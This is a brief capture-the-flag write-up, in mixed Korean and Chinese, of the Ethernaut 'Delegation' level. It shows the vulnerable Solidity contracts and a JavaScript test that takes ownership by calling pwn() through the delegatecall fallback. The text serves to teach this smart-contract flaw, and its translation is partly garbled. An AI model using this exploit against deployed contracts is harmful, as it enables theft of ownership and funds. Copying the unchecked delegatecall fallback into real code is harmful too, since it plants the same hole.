Ethernaut系列-레벨 6(델리게이트)

4488 단어

레벨 6(대표)




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}


通关要求



获取owner

要点



delegatecall 사용 방법 스토리지
delegatecall의 중요한 사건이 더 많고, 새로운 소식이 있습니다(2022-05-21).

https://medium.com/immunefi/wormhole-uninitialized-proxy-bugfix-review-90250c41a43a

解题思路



javascript를 사용할 수 있습니다.

  it("attacks", async function () {
    //代理,不能直接调用await levelContract.pwd(),会找到方法,abi没有
    const contract = await ethers.getContractAt(
      "Delegate",
      levelContract.address,
      player
    );
    await contract.pwn();
  });

좋은 웹페이지 즐겨찾기